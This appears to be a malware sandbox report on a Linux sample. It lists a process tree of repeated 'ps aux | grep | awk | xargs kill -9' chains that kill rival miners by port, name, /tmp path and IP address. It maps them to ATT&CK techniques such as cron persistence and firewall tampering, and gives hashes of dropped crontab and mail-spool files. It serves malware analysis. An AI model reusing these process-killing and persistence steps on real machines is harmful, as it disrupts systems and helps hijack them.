- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1829
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1838
- /bin/grep
  grep :3333
  2⤵
  PID:1836
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1837
- /bin/grep
  grep -v grep
  2⤵
  PID:1835
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1834
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1843
- /bin/grep
  grep :5555
  2⤵
  PID:1841
- /bin/grep
  grep -v grep
  2⤵
  PID:1840
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1842
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1839
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1848
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1846
- /bin/grep
  grep -v grep
  2⤵
  PID:1845
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1844
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1852
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1853
- /bin/grep
  grep log_
  2⤵
  PID:1851
- /bin/grep
  grep -v grep
  2⤵
  PID:1850
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1849
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1857
- /bin/grep
  grep systemten
  2⤵
  PID:1856
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1854
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1858
- /bin/grep
  grep -v grep
  2⤵
  PID:1855
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1863
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:1864
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:1864
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:1864
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:1864
- - /sbin/kill
    kill -9 10
    3⤵
    PID:1864
- - /bin/kill
    kill -9 10
    3⤵
    PID:1864
- /bin/grep
  grep -v grep
  2⤵
  PID:1860
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1862
- /bin/grep
  grep netns
  2⤵
  PID:1861
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1859
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1868
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1869
- /bin/grep
  grep voltuned
  2⤵
  PID:1867
- /bin/grep
  grep -v grep
  2⤵
  PID:1866
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1865
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1873
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1874
- /bin/grep
  grep darwin
  2⤵
  PID:1872
- /bin/grep
  grep -v grep
  2⤵
  PID:1871
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1870
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1878
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1879
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1877
- /bin/grep
  grep -v grep
  2⤵
  PID:1876
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1875
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1883
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1882
- /bin/grep
  grep -v grep
  2⤵
  PID:1881
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1884
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1880
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1888
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1889
- /bin/grep
  grep -v grep
  2⤵
  PID:1886
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1887
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1885
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1894
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1893
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1892
- /bin/grep
  grep -v grep
  2⤵
  PID:1891
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1890
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1897
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1898
- /bin/grep
  grep -v grep
  2⤵
  PID:1896
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1895
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1900
- /bin/grep
  grep -v grep
  2⤵
  PID:1901
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1903
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1904
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1902
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1908
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1907
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1905
- /bin/grep
  grep -v grep
  2⤵
  PID:1906
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1909
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1913
- /bin/grep
  grep -v grep
  2⤵
  PID:1911
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1914
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1910
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1918
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1919
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1917
- /bin/grep
  grep -v grep
  2⤵
  PID:1916
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1915
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1923
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1924
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1922
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1920
- /bin/grep
  grep -v grep
  2⤵
  PID:1921
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1928
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1929
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1927
- /bin/grep
  grep -v grep
  2⤵
  PID:1926
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1925
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1933
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1934
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1932
- /bin/grep
  grep -v grep
  2⤵
  PID:1931
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1930
- /bin/grep
  grep -v grep
  2⤵
  PID:1936
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1938
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1939
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1935
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1937
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1943
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1942
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1944
- /bin/grep
  grep -v grep
  2⤵
  PID:1941
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1940
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1948
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1949
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1947
- /bin/grep
  grep -v grep
  2⤵
  PID:1946
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1945
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1953
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1954
- /bin/grep
  grep -v grep
  2⤵
  PID:1951
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1952
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1950
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1958
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1957
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1959
- /bin/grep
  grep -v grep
  2⤵
  PID:1956
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1955
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1964
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1963
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1965
- /bin/grep
  grep -v grep
  2⤵
  PID:1962
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1961
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1968
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1969
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1970
- /bin/grep
  grep -v grep
  2⤵
  PID:1967
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1966
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1974
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1975
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1973
- /bin/grep
  grep -v grep
  2⤵
  PID:1972
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1971
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1978
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1980
- /bin/grep
  grep -v grep
  2⤵
  PID:1977
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1976
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1979
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1984
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1985
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1983
- /bin/grep
  grep -v grep
  2⤵
  PID:1982
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1981
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1988
- /bin/grep
  grep -v grep
  2⤵
  PID:1987
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1989
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1990
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1986
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1994
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1993
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1995
- /bin/grep
  grep -v grep
  2⤵
  PID:1992
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1991
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1999
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1998
- /bin/grep
  grep -v grep
  2⤵
  PID:1997
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2000
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1996
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2004
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2005
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:2003
- /bin/grep
  grep -v grep
  2⤵
  PID:2002
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2001
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2010
- /bin/grep
  grep -v grep
  2⤵
  PID:2007
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:2008
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2006
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2014
- /bin/grep
  grep -v grep
  2⤵
  PID:2012
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:2013
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2011
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2015
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2019
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2020
- /bin/grep
  grep -v grep
  2⤵
  PID:2017
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:2018
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2016
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2024
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:2023
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2025
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2021
- /bin/grep
  grep -v grep
  2⤵
  PID:2022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2029
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2028
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2030
- /bin/grep
  grep -v grep
  2⤵
  PID:2027
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2026
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2034
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2033
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2035
- /bin/grep
  grep -v grep
  2⤵
  PID:2032
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2031
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2038
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2040
- /bin/grep
  grep -v grep
  2⤵
  PID:2037
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2039
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2036
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2044
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2043
- /bin/grep
  grep -v grep
  2⤵
  PID:2042
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2045
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2041
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2049
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2048
- /bin/grep
  grep -v grep
  2⤵
  PID:2047
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2046
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2053
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2054
- /bin/grep
  grep -v grep
  2⤵
  PID:2051
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2052
- /bin/ps
  ps aux
  2⤵
  PID:2050
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2057
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2058
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2059
- /bin/grep
  grep -v grep
  2⤵
  PID:2056
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2055
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2063
- /bin/grep
  grep -v grep
  2⤵
  PID:2061
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2064
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2062
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2060
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2069
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2067
- /bin/grep
  grep -v grep
  2⤵
  PID:2066
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2068
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2065
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2074
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2072
- /bin/grep
  grep -v grep
  2⤵
  PID:2071
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2073
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2070
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2078
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2079
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2077
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2075
- /bin/grep
  grep -v grep
  2⤵
  PID:2076
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2084
- /bin/grep
  grep -v aux
  2⤵
  PID:2082
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2085
- /bin/grep
  grep -v grep
  2⤵
  PID:2081
- /bin/grep
  grep "]"
  2⤵
  PID:2083
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

log_rot

Path /tmp/log_rot
Size 5B
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba
MD5 SHA1 SHA512

Submit Download

user

Path /var/mail/user
Size 825B
SHA256 dcea0f6b13d47ba6bc4ce72cb413fe4971ca847e75e7460a94c8d61654db478d
MD5 272992edc7c727aa061ae62d74ba6cf1
SHA1 c96a08ec16772ca0e3e7f5e6747dcee617df10a1
SHA512 9df349eddaa24b97adbe89d5c01f5746a945e0063306086470c4c49fdba626ffdf60a3125cc4026192f113812aba4dd26edbf742825a8e168b90334ea93c5a29
MD5 SHA1 SHA512

Submit Download

user

Path /var/mail/user
Size 1KB
SHA256 42202c89c6e48691a32ca0eae3786d7aba5515ca0e2f305130eeb19923e52c14
MD5 0481a7759dc7e68d4f6ad5e4c3ba3a3a
SHA1 da38e60fcf8b1debaaf63ef07fcfae5684a53825
SHA512 72d7c9832f9f61647990d8dd201875bec05b9a18f2db50988987099ae196006f5f49c383ed7d7a395671b8a23998be779b32054ad0afd5110361c220e69a70b3
MD5 SHA1 SHA512

Submit Download

tmp.7frOOv

Path /var/spool/cron/crontabs/tmp.7frOOv
Size 175B
SHA256 7ed2b62df705d1e15657c817bb034adbab8f006c4751843c9867494ace40fb71
MD5 5a695c5d045ade25933e17b96e52b695
SHA1 4ac04e83ee447a597fbef0faa2488d574a228d30
SHA512 b191d33b358e7574d0edd5899d191ec6516180a27f04806e1978f976193cfc23755e492f5960d49f2f5bec4f6c6392c8322982750287e32bb9a35091696130cf
MD5 SHA1 SHA512

Submit Download

tmp.L1vlnt

Path /var/spool/cron/crontabs/tmp.L1vlnt
Size 175B
SHA256 961b522ab8bab49d2fba3784ec334a20b4bca09e41eed96b36cacd24667431d6
MD5 226a7c09ee58c2b5c20fc0040412ffb3
SHA1 05a82023179aa4f3ce4a3cac7e56f3eab14d4889
SHA512 7fe38aee43d73765fe1d6026c6facf9997ccae3840fed9c576603da5d4e99e5ca1b6bdfd2bcb700631fd9dcb59e06c49d52c7520e97caf0da45d13d9b908e1f0
MD5 SHA1 SHA512

Submit Download

tmp.TDm8jw

Path /var/spool/cron/crontabs/tmp.TDm8jw
Size 175B
SHA256 3d553af685297b8e35cdb9a84ddbf61bb471a9278888c158ea34a1235384cdfc
MD5 0ad4c589b6640bb0d8db8aa81fb6a808
SHA1 4bca0f80c9ce18c4e9f0a976b515d32350104d1f
SHA512 5b0266556870c1e94f14089d62449cfa1836c2741fd31bd8fc6f83ebb26c0924c1fd400ab77e70c0bf9ae9f32b6bcc6425dae2f6349a1f610c486ec1e99c4b7d
MD5 SHA1 SHA512

Submit Download

tmp.dTtz0s

Path /var/spool/cron/crontabs/tmp.dTtz0s
Size 175B
SHA256 f580a6ed1223ae839070b3a13bec026053fd34f7b4e1acc6499c197cf8fb1065
MD5 33523e1e2fd95e19177f7153ddd23cc3
SHA1 bb9997f2cbc0ae5ba8584f65ff5641642a33f861
SHA512 da80a4922da4a7812bc7366e1f8e14f2d8e24c6f887b68bb3a1c6a955467cca9cc09c8b44dd37394032bb393952d228c8e14a3e4c1acf1ea2b5cd5849953fd08
MD5 SHA1 SHA512

Submit Download

tmp.gl6yOF

Path /var/spool/cron/crontabs/tmp.gl6yOF
Size 175B
SHA256 9468985df6588dea5eba96a2d9cdaee4cb06e0edc930cd7f9ac46a621287593d
MD5 9914fd0a2354a7613127701029e151da
SHA1 5c75921c47958fc15c8de04af230332f4a162ecb
SHA512 d0788a0594c90edfdfbd97aeb8e3d157462bc1352573d09b07d498fa347f416286a8d5cc15cb6b719bd5c6762ff357bc9d79282328d068f973b3ad11de9158f1
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Br-3t-D

Path /var/spool/exim4/input/1tmOSi-0000Br-3t-D
Size 128B
SHA256 382929de45f8b2c7f39dcb3f617210071f8116eda658c1eb53fa90114a637b0e
MD5 867aa97954a5e3f1b79b8d61eaf28687
SHA1 7ac2ab75fd163e9904821138db28a20cc0b3c82d
SHA512 c0be7ff5a8c520a8cc75cbee241e37f290799c50a69171078a02fa38aacd2e54bf3343b0170be4e07c3801e1fdf37e4eb1211359fabc0078d5df36414009ca47
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Br-3t-J

Path /var/spool/exim4/input/1tmOSi-0000Br-3t-J
Size 34B
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Bv-4E-D

Path /var/spool/exim4/input/1tmOSi-0000Bv-4E-D
Size 146B
SHA256 2169d4ac438173a8c6a024732f39451c87c4436a5ace14c7f372eb1e1947939f
MD5 15c67b66c7b7a8041c406dea8851eabc
SHA1 8c743c5b1701e2a5f4072689bc95833bf681a92b
SHA512 1c26e33f53c6f345be99f926140f880e010f8c709c84bd102ccb464127d36f6ab7a59c52c85d8c93a861104efaf93647aab15587a84ef6231bf2d10a4456fbe5
MD5 SHA1 SHA512

Submit Download

hdr.735

Path /var/spool/exim4/input/hdr.735
Size 915B
SHA256 6b602a8148a657a3b6722b0a92a826acbc19f40c4b3fedcee88980332ed82d26
MD5 b367ed5b5320c61549cc9c7395820a7b
SHA1 7a2bf46dd558637ab600423bb5aa8f5edb767920
SHA512 6d91ab2b3657f938fa24c5bf2c2e7af89a2241294963343fb2990a1c6d5b69061b9aca72a28fbf4eddfe3ff2df09da1ec0719a065d8e35a828fd5995a1e4ea85
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Br-3t

Path /var/spool/exim4/msglog/1tmOSi-0000Br-3t
Size 288B
SHA256 abb85195815aaa4a1db0ca526afb2cd36ace4735351cd586743454d010f02c1b
MD5 2e713bed3707a92bbd9726111dcf6120
SHA1 4e0f5fa01143bbf46107efb4d94c55bcb77b31b6
SHA512 813cede31c9df90a911ae2dacb780ec4819f7baecb9d5e788b4b34bc0537b7638473ba3a08c7efdd812db731c1ad62c6eec6225206b60f3996347ca3fc55f61c
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Br-3t

Path /var/spool/exim4/msglog/1tmOSi-0000Br-3t
Size 89B
SHA256 4c99f56cbcc29f6c8a4b6063493603b1f8d4c1d9df87fab042f3af320cb679b5
MD5 28bedbfbe05cfc577bf09835fd1ecef9
SHA1 889edf76b4fe6808ff4ef33c93b7861720207592
SHA512 db8dc7af9abded8d8768d4088c8b4cd54e92cd860bd1c2ed656cebf54a32ff69450805332d06948640b1a026d26658d8a2e323b4b5b809e4d4b08218f81ede52
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Bv-4E

Path /var/spool/exim4/msglog/1tmOSi-0000Bv-4E
Size 288B
SHA256 af503064d42f84d69de6af2e3d1f2453726605fb39af4bf5a53902b1b2f79e33
MD5 584a5201907d91047d000d8c9a5293c0
SHA1 77cf837cf4a4e9bcad7cf733551aff302740c55d
SHA512 038eb043a3f51d2f9b5d9164a6c6e5d06db8d6efc956b6cd336687b1f1c2c409e9d82bb1df551744c7fce201837e2826b0a4ea4c38351dc220b29997c86c7ab1
MD5 SHA1 SHA512

Submit Download

1tmOSi-0000Bv-4E

Path /var/spool/exim4/msglog/1tmOSi-0000Bv-4E
Size 89B
SHA256 b3f197911df1cf30d5036243314e400ecae0ff7f641b4467e3d8d44a1f2bf82c
MD5 f49ad1b42248ec186812a00c98c0275b
SHA1 e0e9106d54fbb7b1c83f367356cb8155d8305260
SHA512 c553001efe0c2d27432f5ada4725744ee34954ffa7dd3163218dac073511c1524f5b6b85cc78c15b260267ed673646ee9a49c7ff05d7fb1d11438aea84c9eee3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads